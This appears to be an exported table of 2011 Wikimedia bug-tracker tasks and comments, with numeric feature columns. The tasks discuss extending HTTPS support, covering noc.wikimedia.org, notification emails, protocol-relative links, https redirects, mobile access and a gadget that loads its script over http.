Please continue to submit bugs for services which are missing https.",,,1320084264,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-eywkkq7offsekzjpiede,task_subcomment,,True,c2,1,False,,,-96,True,3.0,0.0,0.0,2.0,3.0,3.0,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,5.0,12.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,2.0,0.0,3.0,0.0,2.0,5.0,5.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,3.7796610169491527,0.6610169491525424,"I don't think it's necessary to have this argument every time a bug is submitted for services that don't have https, so... For every service we have, if it is feasible to do https, we should do https.

Please continue to submit bugs for services which are missing https."
157365,Allow HTTPS access on noc.wikimedia,bug 23004,,,1320079977,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-eywkkq7offsekzjpiede,task_subcomment,,True,c2,1,False,,,-96,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,bug 23004
157357,Allow HTTPS access on noc.wikimedia,"(In reply to comment #5)
> Else, perhaps a more systematic approach can be taken? The large underlying
> motivation to making the wikis support https is that there are user login
> credentials being passed in headers. For noc.wikimedia.org, it's all public
> files with no user auth, as far as I know. I'm not sure why it would need https
> support.
I believe it's our intention to support HTTPS for all of our domains, but I'll leave the authoritative answer to Ryan.",,,1320051321,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-eywkkq7offsekzjpiede,task_subcomment,,True,c2,1,False,,,-96,True,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,23.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,11.0,14.0,9.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3863636363636362,0.7045454545454546,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
I believe it's our intention to support HTTPS for all of our domains, but I'll leave the authoritative answer to Ryan."
157350,Allow HTTPS access on noc.wikimedia,"Quickly approaching a https://en.wikipedia.org/wiki/Zero_One_Infinity problem here. Either all *.wikimedia.org domains should support https or none should. Allowing an arbitrary set is a bad idea. History tells us this (similar issues have arisen with *.wikimedia.org login cookies).

Else, perhaps a more systematic approach can be taken? The large underlying motivation to making the wikis support https is that there are user login credentials being passed in headers. For noc.wikimedia.org, it's all public files with no user auth, as far as I know. I'm not sure why it would need https support.",,,1320051179,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-eywkkq7offsekzjpiede,task_subcomment,,True,c2,1,True,,,-96,True,1.5,0.0,0.0,1.5,1.0,5.5,1.5,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,2.5,0.5,6.0,6.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,1.0,1.0,6.0,1.0,2.0,0.0,0.0,0.0,0.0,0.5,0.5,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,4.0,4.0,6.5,2.0,1.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,4.0,6.0,2.0,1.0,0.0,0.0,4.0,0.0,1.0,2.0,0.5,2.0,0.5,0.0,0.0,4.324074074074074,0.8425925925925926,"Quickly approaching a URL problem here. Either all *.wikimedia.org domains should support https or none should. Allowing an arbitrary set is a bad idea. History tells us this (similar issues have arisen with *.wikimedia.org login cookies).

Else, perhaps a more systematic approach can be taken? The large underlying motivation to making the wikis support https is that there are user login credentials being passed in headers. For noc.wikimedia.org, it's all public files with no user auth, as far as I know. I'm not sure why it would need https support."
157341,Allow HTTPS access on noc.wikimedia,Was also filed internally last week as RT #1798.,,,1320050605,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-eywkkq7offsekzjpiede,task_subcomment,,True,c2,1,False,,,-96,True,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6363636363636362,1.0,Was also filed internally last week as RT #1798.
157333,Allow HTTPS access on noc.wikimedia,"(In reply to comment #1)
> Why does it really need it?

Oh, and I did ask in #wikimedia-tech prior, and it was suggested that I add a request and to let the decision lie with ""those who make such decisions.""",,,1320024598,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-eywkkq7offsekzjpiede,task_subcomment,,True,c2,1,False,,,-96,True,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,12.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,8.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,10.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,10.0,2.0,6.0,6.0,0.0,0.0,0.0,4.0,8.0,2.0,2.0,0.0,6.0,12.0,0.0,0.0,4.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.1458333333333335,0.8541666666666666,"(In reply to comment #1)
QUOTE

Oh, and I did ask in #wikimedia-tech prior, and it was suggested that I add a request and to let the decision lie with ""those who make such decisions."""
157324,Allow HTTPS access on noc.wikimedia,"(In reply to comment #1)
> Why does it really need it?

I was about requesting an interwiki link to the server to be added, and I presume that there is a requirement to note or configure relative urls or otherwise.  If that is not the case, okay; there is no information about to assist those of us who are clueless.",,,1320024459,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-eywkkq7offsekzjpiede,task_subcomment,,True,c2,1,False,,,-96,True,0.0,0.0,0.0,2.0,2.0,5.0,5.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,3.0,5.0,2.0,3.0,17.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,2.0,9.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,8.0,3.0,5.0,11.0,0.0,0.0,0.0,2.0,8.0,2.0,2.0,0.0,5.0,17.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,3.0,2.0,2.0,0.0,0.0,0.0,3.6363636363636362,0.7878787878787878,"(In reply to comment #1)
QUOTE

I was about requesting an interwiki link to the server to be added, and I presume that there is a requirement to note or configure relative urls or otherwise.  If that is not the case, okay; there is no information about to assist those of us who are clueless."
157315,Allow HTTPS access on noc.wikimedia,Why does it really need it?,,,1320022886,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-eywkkq7offsekzjpiede,task_subcomment,,True,c2,1,True,,,-96,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,29.0,0.0,0.0,14.0,0.0,0.0,29.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,0.8571428571428571,Why does it really need it?
33537,notification emails should be able to use https links,"Since relative https URLs became possible a few days ago, i started using them for browsing Wikimedia projects. I intentionally logged out first and logged in again in https.

Now when i get notification emails about user talk page update or code review, they contain links to http. If i click them, i appear logged out, and this is fine, because i indeed logged out of the http site.

The email should link to https. If some users prefer http links, it can be a preference.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1318098600,1318272375.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-e23y2pkauel6eefxkmhh,task_description,resolved,True,c2,1,False,False,True,-99,True,1.5,0.0,0.0,0.0,0.0,4.0,1.5,1.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,3.5,0.0,4.0,9.0,0.0,0.0,1.0,0.5,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.5,1.0,2.0,0.0,1.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.5,6.5,3.0,2.0,4.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,9.0,0.5,0.0,0.0,0.0,6.0,0.0,0.5,1.5,1.0,1.0,0.0,0.0,0.0,3.9237288135593222,0.7627118644067796,"Since relative https URLs became possible a few days ago, i started using them for browsing Wikimedia projects. I intentionally logged out first and logged in again in https.

Now when i get notification emails about user talk page update or code review, they contain links to http. If i click them, i appear logged out, and this is fine, because i indeed logged out of the http site.

The email should link to https. If some users prefer http links, it can be a preference.

--------------------------
**Version**: unspecified
**Severity**: normal"
154854,notification emails should be able to use https links,"

*** This bug has been marked as a duplicate of bug 29878 ***",,,1318272375,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-e23y2pkauel6eefxkmhh,task_subcomment,,True,c2,1,True,,,-99,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 29878 ***"
33531,Create {{SERVERPROTOCOL}} or {{SECURESERVER}} variable for http/https detection,"Since secure server has changed, neither {{SERVER}} nor {{SERVERNAME}} provide a way to do this check. See [[MediaWiki:Loginend]] as a case.

* {{SERVERPROTOCOL}} should return  → http  or  → https

or, as an alternative proposal, it may be:

* {{SECURESERVER| Text if secure | Text if normal }}

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1318087980,1318092503.0,PHID-USER-l4qgeksgajdvxx7qacw3,False,,False,PHID-TASK-mrpf2o5plfrrgeyfohyu,task_description,invalid,True,c2,1,False,False,True,-99,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,12.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,6.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,3.2626262626262625,0.5454545454545454,"Since secure server has changed, neither {{SERVER}} nor {{SERVERNAME}} provide a way to do this check. See [[MediaWiki:Loginend]] as a case.

* {{SERVERPROTOCOL}} should return  → http  or  → https

or, as an alternative proposal, it may be:

* {{SECURESERVER| Text if secure | Text if normal }}

--------------------------
**Version**: unspecified
**Severity**: normal"
154583,Create {{SERVERPROTOCOL}} or {{SECURESERVER}} variable for http/https detection,";) then WP should use it, and this bug seams to be INVALID.",,,1318092503,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-mrpf2o5plfrrgeyfohyu,task_subcomment,,True,c2,1,False,,,-99,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,7.0,7.0,13.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1333333333333333,1.0,";) then WP should use it, and this bug seams to be INVALID."
154577,Create {{SERVERPROTOCOL}} or {{SECURESERVER}} variable for http/https detection,There already is [[MediaWiki:Loginend-https]],,,1318091855,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-mrpf2o5plfrrgeyfohyu,task_subcomment,,True,c2,1,False,,,-99,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.5,0.8333333333333334,There already is [[MediaWiki:Loginend-https]]
154570,Create {{SERVERPROTOCOL}} or {{SECURESERVER}} variable for http/https detection,"Is the specific case for this for loginend?

We do want to avoid people throwing {{SERVERPROTOCOL}} into random pages and other messages forcing the parser cache and squid cache to be fragmented.

If the specific case for this is 'loginend' then perhaps instead of a magic word we could introduce a 'loginend-https' or 'loginend-secure' message.",,,1318089863,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-mrpf2o5plfrrgeyfohyu,task_subcomment,,True,c2,1,False,,,-99,True,0.0,0.0,0.0,1.0,0.0,9.0,1.0,0.0,0.0,1.0,1.0,8.0,0.0,0.0,0.0,3.0,0.0,4.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,5.0,1.0,4.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,11.0,1.0,1.0,8.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.9594594594594597,0.6756756756756757,"Is the specific case for this for loginend?

We do want to avoid people throwing {{SERVERPROTOCOL}} into random pages and other messages forcing the parser cache and squid cache to be fragmented.

If the specific case for this is 'loginend' then perhaps instead of a magic word we could introduce a 'loginend-https' or 'loginend-secure' message."
33437,https://www.mediawiki.org/xml/api/ shouldn't have links to http,"These are still hardcoded to http. Switch'em to protocol-relative urls instead.

--------------------------
**Version**: unspecified
**Severity**: minor",Needs Triage,90.0,1317920880,1317928473.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-idxwismxneo5lorhqr2e,task_description,resolved,True,c2,1,True,False,True,-99,True,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.242424242424242,0.6666666666666666,"These are still hardcoded to http. Switch'em to protocol-relative urls instead.

--------------------------
**Version**: unspecified
**Severity**: minor"
147444,https://www.mediawiki.org/xml/api/ shouldn't have links to http,Both fixed.,,,1317928473,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-idxwismxneo5lorhqr2e,task_subcomment,,True,c2,1,False,,,-99,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Both fixed.
147439,https://www.mediawiki.org/xml/api/ shouldn't have links to http,"And linking to en.wikipedia instead of leaving on mediawiki.org is a bad idea, in my opinion.",,,1317928224,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-idxwismxneo5lorhqr2e,task_subcomment,,True,c2,1,False,,,-99,True,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,11.0,4.333333333333333,1.0,"And linking to en.wikipedia instead of leaving on mediawiki.org is a bad idea, in my opinion."
33432,Add a cookie-based preference which redirects all http requests to https,"Currently if a user is logging in on https page, when he's coming to Wikipedia by following a link on a 3rd website which points to http version, the page will be in unlogged in state. If he failed to realize this and edited page, his Wikipedia page browsing history and IP address may be leaked. If he realized this, he have to change http to https again and again (unless he's using a 3rd party browser extension).

There can be a resolution: when a user is logging in on https page, set a insecure cookie which says ""redirect me to https page"", and clear it when he's logging out. In this way, the only disadvantage I can see is one more request and the info for a possible attacker: there's a logged in user at this IP reading this page by following some link on this website.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1317915600,1319548790.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-wobfyl6qtbnuqrl7okch,task_description,resolved,True,c2,1,False,False,True,-99,True,0.5,0.0,0.0,0.5,0.0,4.0,1.0,0.0,0.0,2.0,3.0,0.0,0.0,0.5,1.0,1.0,0.0,3.0,13.0,0.0,1.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,1.5,0.5,1.0,5.0,1.5,0.5,1.0,0.0,0.0,0.0,0.5,0.5,0.0,3.5,1.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,2.0,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,6.0,3.0,6.0,3.5,2.5,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,5.0,13.0,1.5,0.0,1.0,0.0,5.0,0.0,2.5,4.5,0.5,4.5,0.5,0.0,0.0,3.761646136618141,0.6402575587905934,"Currently if a user is logging in on https page, when he's coming to Wikipedia by following a link on a 3rd website which points to http version, the page will be in unlogged in state. If he failed to realize this and edited page, his Wikipedia page browsing history and IP address may be leaked. If he realized this, he have to change http to https again and again (unless he's using a 3rd party browser extension).

There can be a resolution: when a user is logging in on https page, set a insecure cookie which says ""redirect me to https page"", and clear it when he's logging out. In this way, the only disadvantage I can see is one more request and the info for a possible attacker: there's a logged in user at this IP reading this page by following some link on this website.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
147205,Add a cookie-based preference which redirects all http requests to https,"(In reply to comment #1)
> This is related to, if not a duplicate of, bug 29898.
Duping and copying relevant information over.

*** This bug has been marked as a duplicate of bug 29898 ***",,,1319548790,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-wobfyl6qtbnuqrl7okch,task_subcomment,,True,c2,1,False,,,-97,True,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,11.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.25,0.8055555555555556,"(In reply to comment #1)
QUOTE
Duping and copying relevant information over.

*** This bug has been marked as a duplicate of bug 29898 ***"
147200,Add a cookie-based preference which redirects all http requests to https,"This is related to, if not a duplicate of, bug 29898.",,,1318006974,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-wobfyl6qtbnuqrl7okch,task_subcomment,,True,c2,1,True,,,-99,True,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,7.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0714285714285716,0.9285714285714286,"This is related to, if not a duplicate of, bug 29898."
33390,https on mobile,"Tracking ticket for https on mobile. Reference ticket on ops private tracker : http://rt.wikimedia.org/Ticket/Display.html?id=1662

--------------------------
**Version**: --
**Severity**: normal",Needs Triage,90.0,1317841500,1317842278.0,PHID-USER-qmantxp3p7omhisp3qgq,False,,False,PHID-TASK-63bywpet2xftuxygowkq,task_description,resolved,True,c2,1,False,False,True,-99,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,0.6363636363636364,"Tracking ticket for https on mobile. Reference ticket on ops private tracker : URL

--------------------------
**Version**: --
**Severity**: normal"
144144,https on mobile,"

*** This bug has been marked as a duplicate of bug 31333 ***",,,1317842278,,PHID-USER-qmantxp3p7omhisp3qgq,False,,,PHID-TASK-63bywpet2xftuxygowkq,task_subcomment,,True,c2,1,False,,,-99,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 31333 ***"
33375,User:Pathoschild/Scripts/Regex menu framework breaks HTTPS,"**Author:** `M8R-udfkkf`

**Description:**
On the secure english wiki, enabling the gadget
(User:Pathoschild/Scripts/Regex menu framework) ""Add a sidebar menu of user-defined regex tools, with a dynamic form for instant one-use regex"" breaks the secure connection as the script is called from 
http://meta.wikimedia.org/w/index.php?title=User:Pathoschild/Scripts/Regex_menu_framework.js&action=raw&ctype=text/javascript

--------------------------
**Version**: unspecified
